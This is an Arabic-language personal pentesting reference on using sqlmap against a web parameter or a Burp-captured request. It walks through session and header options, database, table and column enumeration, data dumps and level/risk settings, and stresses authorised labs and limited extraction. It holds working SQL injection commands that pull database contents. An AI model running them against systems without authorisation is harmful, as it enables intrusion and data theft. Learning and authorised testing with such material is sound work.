

SQLmap — دليل الاستخدام العملي

URL أو Burp Request → إثبات Enumeration → SQLi من DB إلى Table/Column بشكل محدود.

➤ Abdullah Nasser Almsan – Personal Pentest Reference

ملاحظة استخدام: الملف يفترض تطبيقًا ضعيفًا داخل Lab مصرح. استخدم أقل مستوى/مخاطرة يحقق هدف الاختبار.

LIMIT
استخرج المطلوب

ENUM
حدد DB/table

TEST
اختبر parameter

REQUEST
التقط الطلب

الفهرس

4. Level / Risk / Technique
5. إعادة الاختبار والتشخيص
6. Workflow مع Burp

1. تحديد الهدف
2. Session / Cookies / Headers
3. Enumeration بعد إثبات Injection

1. تحديد الهدف

SQLmap يحتاج parameter أو Request واضح.

KALI TERMINAL URL فيه parameter

```
sqlmap -u "http://[TARGET]/item?id=1" --batch
```

KALI TERMINAL حدد parameter معين

```
sqlmap -u "http://[TARGET]/item?id=1&cat=2" -p id --batch
```

KALI TERMINAL Request محفوظ من Burp

```
sqlmap -r request.txt --batch
```

أفضل خيار للجلسات/headers/POST المعقدة.

2. Session / Cookies / Headers

اجعل الطلب مطابقًا لما يعمل في Burp.

```
sqlmap -u "http://[TARGET]/item?id=1" --cookie="session=[VALUE]" --batch
```

```
sqlmap -u "http://[TARGET]/item?id=1" --headers="X-Test: 1" --batch
```

```
sqlmap -u "http://[TARGET]/item?id=1" --proxy=http://127.0.0.1:8080 --batch
```

3. Enumeration بعد إثبات Injection

لا تقفز إلى dump قبل إثبات أن parameter injectable.

```
sqlmap -u "[URL_WITH_PARAM]" --current-db --current-user --hostname --batch
```

```
sqlmap -u "[URL_WITH_PARAM]" --dbs --batch
```

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] --tables --batch
```

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] -T [TABLE] --columns --batch
```

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] -T [TABLE] -C [COL1],[COL2] --dump --batch
```

اجعل dump محدودًا بما يحتاجه هدف Lab. استخراج بيانات غير لازمة ليس جزءًا من اختبار منضبط.

خيارات تزيد التغطية والطلبات.

رفع Level KALI TERMINAL

```
sqlmap -u "[URL_WITH_PARAM]" --level=3 --batch
```

رفع Risk بحذر KALI TERMINAL

```
sqlmap -u "[URL_WITH_PARAM]" --risk=2 --batch
```

تحديد techniques KALI TERMINAL

```
sqlmap -u "[URL_WITH_PARAM]" --technique=BEUSTQ --batch
```

كلما ارتفع level/risk زادت الاختبارات والطلبات، وبعض الاختبارات قد تكون أكثر تأثيرًا. ابدأ بالقيم الافتراضية.

5. إعادة الاختبار والتشخيص

SQLmap يحتفظ Session cache.

نسيان Session سابق KALI TERMINAL

```
sqlmap -u "[URL_WITH_PARAM]" --flush-session --batch
```

Verbose أكثر KALI TERMINAL

```
sqlmap -u "[URL_WITH_PARAM]" -v 3 --batch
```

المساعدة المتقدمة KALI TERMINAL

```
sqlmap -hh
```

6. Workflow مع Burp

أبسط مسار للـ Web labs.

الخطوة	الأداة	الإجراء
1	Burp Proxy	التقط Request يعمل.
2	Save request	احفظه request.txt.
3	SQLmap -r	اختبر نفس request.

الخطوة	الأداة	الإجراء
4	Confirm	تأكد من parameter/DBMS.
5	Enumerate	.dbs → tables → columns
6	Limit	استخرج فقط المطلوب في Lab.

أعدّ بصياغة متوافقة مع مكتبة المشروع الحالية

مرجع مراجعة سريع للتعلم والاختبارات المصرّح بها فقط. استخدم الأوامر على Lab أو نظام لديك تصريح صريح لاختباره.

Official references checked (2026-09-28):

<https://github.com/sqlmapproject/sqlmap/wiki/usage>